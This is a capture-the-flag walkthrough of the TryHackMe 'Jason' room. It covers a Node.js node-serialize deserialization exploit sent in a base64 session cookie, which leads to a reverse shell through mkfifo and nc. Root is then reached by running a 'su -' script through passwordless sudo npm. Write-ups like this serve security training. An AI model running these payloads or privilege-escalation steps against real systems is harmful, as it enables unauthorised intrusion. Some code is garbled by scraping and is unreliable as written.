TryHackMe Walkthrough - Jason

TryHackMe Walkthrough - Jason


This was a fun room where I had to exploit a Node.js deserialization vulnerability to gain access to a server. And then use sudo to get root. It took me some time to get the first code execution. But once I was able to run code on the server, I got a shell and root pretty quickly.

We are Horror LLC, we specialize in horror, but one of the scarier aspects of our company is our front-end webserver. We can't launch our site in its current state and our level of concern regarding our cybersecurity is growing exponentially. We ask that you perform a thorough penetration test and try to compromise the root account. There are no rules for this engagement. Good luck!


I started to room by looking for opened ports.

$ rustscan -a target -- -A  | tee rust.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
:           :
: :

[~] The config file is expected to be at "/home/ehogue/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p  ")

[~] Starting Nmap 7.92 ( ) at 2022-02-11 13:01 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Scanning 2 services on target (
Completed Service scan at 13:01, 24.78s elapsed (2 services on 1 host)
Nmap scan report for target (
Host is up, received syn-ack (0.24s latency).
Scanned at 2022-02-11 13:01:27 EST for 32s

22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5b:2d:9d:60:a7:45:de:7a:99:20:3e:42:94:ce:19:3c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEav+HAGw7xuVSR7QKeKvPc2ZpLfgIJ2azj8wt8S3VdC0yPI5cgFTwrdyZ/b9nHwZb2ibA2Ld12zn4zObnoRLU05emZ0qSpyssEN6+xF2E9SSbe9o79UuJX7KoCAc4oKHdL6vme9Gt1NpmL7UVXaK8LG0wMJ0PAi90NPSp6yCqX+Zh3ox5/ozOw6J0fVWJhq+Op
|   256 bf:32:78:01:83:af:78:5e:e7:fe:9c:83:4a:7d:aa:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWImj6zzJJnO+2iTNXciJVkpCVcDC82aeGnvA3GVC4G1J7mwk1TYrRemrCBlwhm+BUzvs0q2qKk/9VCh1+kKlA=
|   256 12:ab:13:80:e5:ad:73:07:c8:48:d5:ca:7c:7d:e0:af (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEIOgTDXXq96o6fNCrn3mQ8JpGFHhx6AtZGEOG4Z+oF
80/tcp open  http    syn-ack
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|_http-title: Horror LLC
|_http-favicon: Unknown favicon MD5: 8FCEA7DE73B9ED47DE799DB3AE6363A8
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :


Nmap done: 1 IP address (1 host up) scanned in 33.85 seconds

The server had two opened ports:

  • 22 - SSH
  • 80 - HTTP

Web Site

I loaded the web site in my browser.

Web Site

The site was simple. Just one text box to enter an email address to signup for a newsletter.

I looked at the page source and found the JavaScript function that posted the email to the server.

    document.getElementById("signup").addEventListener("click", function() {
    var date = new Date();
    var expires = "; expires="+date.toGMTString();
    document.cookie = "session=foobar"+expires+"; path=/";
    const Http = new XMLHttpRequest();
    const url=window.location.href+"?email="+document.getElementById("fname").value;"POST", url);
    setTimeout(function() {
    }, 500);

This code remove any session cookie by setting it to foobar with an expiration date in the past. Then it sends a POST request with the entered email in the URL. And reload the page after 500 milliseconds.

I tried posting an email address, the server responded with a session cookie.

Set-Cookie: session=eyJlbWFpbCI6ImVtYWlsQHRlc3QuY29tIn0=;

The cookie value was the provided email in JSON that was base64 encoded.

$ echo -n eyJlbWFpbCI6ImVtYWlsQHRlc3QuY29tIn0= | base64 -d

I tried sending some other values in the POST request. But they were not sent back in the JSON.

I tried to fuzz the URL to find other endpoint. It did not find anything.

wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hw 355 -t10 "http://target/FUZZ"
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://target/FUZZ
Total requests: 20469

ID           Response   Lines    Word       Chars       Payload

Total time: 500.3895
Processed Requests: 20469
Filtered Requests: 20469
Requests/sec.: 40.90613

Same thing when I tried to fuzz the parameters.

wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hw 355 -t10 "http://target.thm?FUZZ=1"

Remote Code Execution

I was wondering why the code was clearing the cookie. I used the developer tools of the browser to set the session cookie to the value that was returned when posting an email address. I reloaded the page, the email address was reflected back.

Email Address

I looked for ways to exploit this, hopping that if I send code it might be executed. I tried multiple payloads, some with calls to eval(). Nothing worked.

{"email":"require('child_process').exec('nc 4444');"}

I then searched for ways to exploit Node.js JSON parsing. That’s when I found a post about exploitng Node.js deserialization.

I used a slightly modified version of the code from the post to see if my code will be executed.

cat test.js
var y = {
    email: function(){
            return 1;
var serialize = require('node-serialize');

node test.js
{"email":"_$$ND_FUNC$$_function(){\n\t    return 1;\n    }"}

I base64 encoded the output, then used Burp Repeater to send it as my session cookie.

We’ll keep you updated at: function(){

The code did not get executed. I added () at the end of the function definition to get it executed when it got deserialized. And this time it worked.

{"email":"_$$ND_FUNC$$_function(){\n\t    return 1;\n    }()"}

We’ll keep you updated at: 1

Now that I knew I could get remote code execution, I started a netcat listener on my machine.

$ nc -lvnp 4444

I modified the script to open a reverse shell.

$ cat test.js
var y = {
    email: function(){
        require('child_process').exec('mkfifo /tmp/kirxhbg; nc 4444 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg');
            return 1;
var serialize = require('node-serialize');

$ node test.js | sed 's/}"/}()"/g' | base64 -w0

I sent that payload as the session cookie. And I got a hit on my netcat listener.

$ nc -lvnp 4444
Listening on 4444
Connection received on 46852

I stabilized my shell to make it easier to work in it.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'; export TERM=xterm
# CTRL-z
$ stty raw -echo;fg

And I got the first flag.

dylan@jason:/opt/webapp$ cd
dylan@jason:~$ ls
dylan@jason:~$ cat user.txt

Privilege Escalation

The first thing I always do on a box, is check if the current user can run sudo.

$ sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass,

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *

I was able to run npm as any user, without a password. I could also pass npm any parameters I wanted. Knowing that npm can be used to run scripts, that was very interesting.

I thought about looking on GTFOBins, but I was pretty sure I could do it without help. So I gave it a try.

I ran npm init to get a valid package.json file.

dylan@jason:~$ mkdir test

dylan@jason:~$ cd test/

dylan@jason:~/test$ npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See `npm help json` for definitive documentation on these fields
and exactly what they do.

Use `npm install <pkg>` afterwards to install a package and
save it as a dependency in the package.json file.

Press ^C at any time to quit.
package name: (test)
version: (1.0.0)
entry point: (index.js)
test command:
git repository:
license: (ISC)
About to write to /home/dylan/test/package.json:

  "name": "test",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  "author": "",
  "license": "ISC"

Is this OK? (yes)

I modified the generated file to add a new script that would just run su.

dylan@jason:~/test$ cat package.json
  "name": "test",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "root": "su -"
  "author": "",
  "license": "ISC"

Then I used npm to execute that command as root and get the privilege escalation.

dylan@jason:~/test$ sudo npm run root

> test@1.0.0 root /home/dylan/test
> su -

root@jason:~# whoami

root@jason:~# cd

root@jason:~# ls

root@jason:~# cat root.txt

And that was it. I spent more time getting the first code execution, then on the rest of the room. The vulnerability is pretty scary. But calling unseserialize on data that comes from the user is a bad idea.